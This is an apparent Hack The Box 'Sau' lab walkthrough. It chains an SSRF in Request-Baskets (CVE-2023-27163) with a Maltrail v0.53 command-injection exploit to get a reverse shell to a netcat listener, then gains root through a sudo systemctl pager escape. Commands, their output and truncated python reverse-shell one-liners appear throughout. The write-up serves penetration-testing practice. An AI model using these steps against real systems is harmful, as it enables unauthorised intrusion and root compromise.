HTB Sau Walkthrough
This is a simple and fun BOX for hacking newbies and beginners.

A very simple and fun BOX for hacking newbies. Forward, therefore, to those who are beginners.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-06 21:28 CEST
Nmap scan report for 10.10.11.224
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Sun, 06 Aug 2023 19:29:31 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Sun, 06 Aug 2023 19:29:03 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Sun, 06 Aug 2023 19:29:04 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.94%I=7%D=8/6%Time=64CFF480%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\x
SF:20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sun,\x2006\x20Aug\x202
SF:023\x2019:29:03\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/we
SF:b\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x2020
SF:0\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sun,\x2006\x20Aug\x202
SF:023\x2019:29:04\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\
SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x
SF:20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCo
SF:nnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"H
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Ke
SF:rberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nC
SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:
SF:\x20nosniff\r\nDate:\x20Sun,\x2006\x20Aug\x202023\x2019:29:31\x20GMT\r\
SF:nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20the\x20name
SF:\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{1,250}\$\n
SF:")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\
SF:x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20B
SF:ad\x20Request")%r(LDAPSearchReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.55 seconds
Mmmmm... something a little different than usual! Port 80, despite being open, does not seem to respond as expected, perhaps a domain to be included in the /etc/hosts file which the scan did not detect. On port 55555 something responds.




The portal seems to be a sort of collector of requests for one's basket, which includes a page for monitoring the requests of those who have browsed their own personal basket. I think there will be a lot of work if this is the access point since the wappalyzer does not identify any open-source project or known technology. However, taking a closer look at the code, a git repository emerges!
Among the issues, I don't find much and almost incredulous when I search online without any pretense of "Request-Basket exploit" I even find a CVE.
It was initially unclear to me how to exploit this vulnerability. The ability to redirect the call following the basket call, channeling it toward my machine, doesn't help me that much. The best thing would be to be able to reach something inside the BOX. Then I remember the portal on port 80 was unreachable. What if the BOX could be reached from inside? I then generate the redirect to the local port 80 of the BOX and...
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/_10.10.11.224 - Sau (lin)/attack/git/CVE-2023-27163]
└─$ ./CVE-2023-27163.sh http://10.10.11.224:55555/ http://127.0.0.1:80/
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163
> Creating the "mcwovi" proxy basket...
> Basket created!
> Accessing http://10.10.11.224:55555/mcwovi now makes the server request to http://127.0.0.1:80/.
> Authorization: cYycYZZ-3Ndi3An6Cfg2DhQCh3u29FxLJ-a9hcqcj80j
And browsing the basketball url via browser...

There is no need for the exploit to create the redirect, the functionality is already available within the portal.

Anyway, a little documentation and we find another repository.
And once again looking for "Maltrail v0.53 exploit"...
After a few unsuccessful tries and some tweaking, I figured out how to add the shot and where to hit it.
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/_10.10.11.224 - Sau (lin)/attack/git/Maltrail-v0.53-Exploit]
└─$ python3 exploit.py 10.10.14.171 4444 http://10.10.11.224:55555/mcwovi/login
Running exploit on http://10.10.11.224:55555/mcwovi/login
And as if by magic, the doors of the palace open!
┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
10.10.11.224: inverse host lookup failed: Unknown host
connect to [10.10.14.171] from (UNKNOWN) [10.10.11.224] 38182
$ whoami
whoami
puma
$ pwd
pwd
/opt/maltrail
$ ls -la /home
ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Apr 15 09:17 .
drwxr-xr-x 20 root root 4096 Jun 19 09:41 ..
drwxr-xr-x 5 puma puma 4096 Aug 6 21:16 puma
$ ls -la /home/puma
ls -la /home/puma
total 40
drwxr-xr-x 5 puma puma 4096 Aug 6 21:16 .
drwxr-xr-x 3 root root 4096 Apr 15 09:17 ..
lrwxrwxrwx 1 root root 9 Apr 14 17:46 .bash_history -> /dev/null
-rw-r--r-- 1 puma puma 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 puma puma 3771 Feb 25 2020 .bashrc
drwx------ 2 puma puma 4096 Apr 15 09:42 .cache
drwx------ 3 puma puma 4096 Aug 6 21:12 .gnupg
drwxr-xr-x 3 puma puma 4096 Aug 6 21:16 .local
-rw-r--r-- 1 puma puma 807 Feb 25 2020 .profile
-rw-r--r-- 1 puma puma 66 Aug 6 21:16 .selected_editor
lrwxrwxrwx 1 puma puma 9 Apr 15 09:41 .viminfo -> /dev/null
lrwxrwxrwx 1 puma puma 9 Apr 15 09:41 .wget-hsts -> /dev/null
-rw-r----- 1 root puma 33 Aug 6 19:37 user.txt
$ cat /home/puma/user.txt
cat /home/puma/user.txt
d******************************3
Let's try to go ahead with the simple approaches.
$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
Let's not repeat it twice.
$ sudo systemctl status trail.service
sudo systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
Active: active (running) since Sun 2023-08-06 19:37:30 UTC; 1h 44min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 897 (python3)
Tasks: 25 (limit: 4662)
Memory: 326.0M
CGroup: /system.slice/trail.service
├─ 897 /usr/bin/python3 server.py
├─ 1397 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed >
├─ 1398 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed >
├─ 1401 bash
├─ 1402 python3 -c import os,pty,socket;s=socket.socket();s.connec>
├─ 1403 /bin/bash
├─ 1441 python3 -c import pty; pty.spawn("/bin/bash")
├─ 1442 /bin/bash
├─ 1460 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed >
├─ 1461 /bin/sh -c logger -p auth.info -t "maltrail[897]" "Failed >
├─ 1464 sh
├─ 1465 python3 -c import socket,os,pty;s=socket.socket(socket.AF_>
├─ 1466 /bin/sh
├─10414 gpg-agent --homedir /home/puma/.gnupg --use-standard-socke>
[...]
We are looking for this script...
$ find / -name server.py 2>/dev/null
find / -name server.py 2>/dev/null
/opt/maltrail/server.py
/usr/lib/python3.8/xmlrpc/server.py
/usr/lib/python3.8/http/server.py
/usr/lib/python3/dist-packages/twisted/web/server.py
/usr/lib/python3/dist-packages/twisted/names/server.py
/usr/lib/python3/dist-packages/dbus/server.py
$
...and let's take a look inside.
server.py
#!/usr/bin/env python
"""
Copyright (c) 2014-2023 Maltrail developers (https://github.com/stamparm/maltrail/)
See the file 'LICENSE' for copying permission
"""
from __future__ import print_function # Requires: Python >= 2.6
import sys
sys.dont_write_bytecode = True
import optparse
import os
import platform
import threading
import time
import traceback
from core.common import check_connection
from core.common import check_sudo
from core.common import get_ex_message
from core.common import patch_parser
from core.httpd import start_httpd
from core.log import create_log_directory
from core.log import log_error
from core.log import start_logd
from core.settings import config
from core.settings import read_config
from core.settings import CHECK_CONNECTION_MAX_RETRIES
from core.settings import CONFIG_FILE
from core.settings import HOMEPAGE
from core.settings import IS_WIN
from core.settings import NAME
from core.settings import VERSION
from core.update import update_ipcat
from core.update import update_trails
from thirdparty import six
def main():
print("%s (server) #v%s {%s}\n" % (NAME, VERSION, HOMEPAGE))
if "--version" in sys.argv:
raise SystemExit
parser = optparse.OptionParser(version=VERSION)
parser.add_option("-c", dest="config_file", default=CONFIG_FILE, help="configuration file (default: '%s')" % os.path.split(CONFIG_FILE)[-1])
parser.add_option("--debug", dest="debug", action="store_true", help=optparse.SUPPRESS_HELP)
patch_parser(parser)
options, _ = parser.parse_args()
print("[*] starting @ %s\n" % time.strftime("%X /%Y-%m-%d/"))
read_config(options.config_file)
if options.debug:
config.SHOW_DEBUG = True
if six.PY2 and config.USE_SSL:
try:
__import__("OpenSSL")
except ImportError:
if IS_WIN:
sys.exit("[!] please install 'pyopenssl' (e.g. 'pip install pyopenssl')")
else:
msg = "[!] please install 'pyopenssl'"
for distros, install in {("fedora", "centos"): "sudo yum install pyOpenSSL", ("debian", "ubuntu"): "sudo apt-get install python-openssl"}.items():
for distro in distros:
if distro in (platform.uname()[3] or "").lower():
msg += " (e.g. '%s')" % install
break
sys.exit(msg)
if not config.SSL_PEM or not os.path.isfile(config.SSL_PEM):
hint = "openssl req -new -x509 -keyout %s -out %s -days 365 -nodes -subj '/O=%s CA/C=EU'" % (config.SSL_PEM or "server.pem", config.SSL_PEM or "server.pem", NAME)
sys.exit("[!] invalid configuration value for 'SSL_PEM' ('%s')\n[?] (hint: \"%s\")" % (config.SSL_PEM, hint))
def update_timer():
retries = 0
while retries < CHECK_CONNECTION_MAX_RETRIES and not check_connection():
sys.stdout.write("[!] can't update because of lack of Internet connection (waiting..." if not retries else '.')
sys.stdout.flush()
time.sleep(10)
retries += 1
if retries:
print(")")
if retries == CHECK_CONNECTION_MAX_RETRIES:
print("[x] going to continue without online update")
_ = update_trails(offline=True)
else:
_ = update_trails()
update_ipcat()
thread = threading.Timer(config.UPDATE_PERIOD, update_timer)
thread.daemon = True
thread.start()
if config.UDP_ADDRESS and config.UDP_PORT:
if config.UDP_PORT <= 1024 and not config.DISABLE_CHECK_SUDO and check_sudo() is False:
sys.exit("[!] please run '%s' with root privileges when using 'UDP_ADDRESS' configuration value" % __file__)
create_log_directory()
start_logd(address=config.UDP_ADDRESS, port=config.UDP_PORT, join=False)
try:
if config.USE_SERVER_UPDATE_TRAILS:
update_timer()
start_httpd(address=config.HTTP_ADDRESS, port=config.HTTP_PORT, pem=config.SSL_PEM if config.USE_SSL else None, join=True)
except KeyboardInterrupt:
print("\r[x] stopping (Ctrl-C pressed)")
if __name__ == "__main__":
code = 0
try:
main()
except SystemExit as ex:
if isinstance(get_ex_message(ex), six.string_types) and get_ex_message(ex).strip('0'):
print(get_ex_message(ex))
code = 1
except IOError:
log_error("\n\n[!] session abruptly terminated\n[?] (hint: \"https://stackoverflow.com/a/20997655\")")
code = 1
except Exception:
msg = "\r[!] unhandled exception occurred ('%s')" % sys.exc_info()[1]
msg += "\n[x] please report the following details at 'https://github.com/stamparm/maltrail/issues':\n---\n'%s'\n---" % traceback.format_exc()
log_error("\n\n%s" % msg.replace("\r", ""))
print(msg)
code = 1
finally:
if not any(_ in sys.argv for _ in ("--version", "-h", "--help")):
print("\n[*] ending @ %s" % time.strftime("%X /%Y-%m-%d/"))
os._exit(code)
After wasting some time on the script and finding nothing, it occurs to me that it might be some privilege escalation problem with the systemctl command. So I look for something online and…

Almost incredulous at the simplicity, I try.
$ sudo systemctl status trail.service
sudo systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)
● trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
Active: active (running) since Mon 2023-08-07 05:57:34 UTC; 2h 15min ago
Docs: https://github.com/stamparm/maltrail#readme
https://github.com/stamparm/maltrail/wiki
Main PID: 893 (python3)
Tasks: 75 (limit: 4662)
Memory: 114.3M
CGroup: /system.slice/trail.service
├─ 893 /usr/bin/python3 server.py
├─1104 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed p>
├─1105 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed p>
├─1108 bash
├─1109 python3 -c import socket,subprocess,os;s=socket.socket(sock>
├─1110 bash
├─1132 sudo systemctl status trail.service
├─1133 systemctl status trail.service
├─1134 pager
├─1136 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed p>
├─1137 /bin/sh -c logger -p auth.info -t "maltrail[893]" "Failed p>
├─1140 bash
├─1141 python3 -c import socket,subprocess,os;s=socket.socket(sock>
├─1142 bash
lines 1-23!sh
!sshh!sh
# whoami
whoami
root
# cat /root/root.txt
cat /root/root.txt
3******************************b
Ok, what can I say, an all too simple BOX, but still nice. That's all folks, see you, as always, at the next BOX. Happy hacking everyone!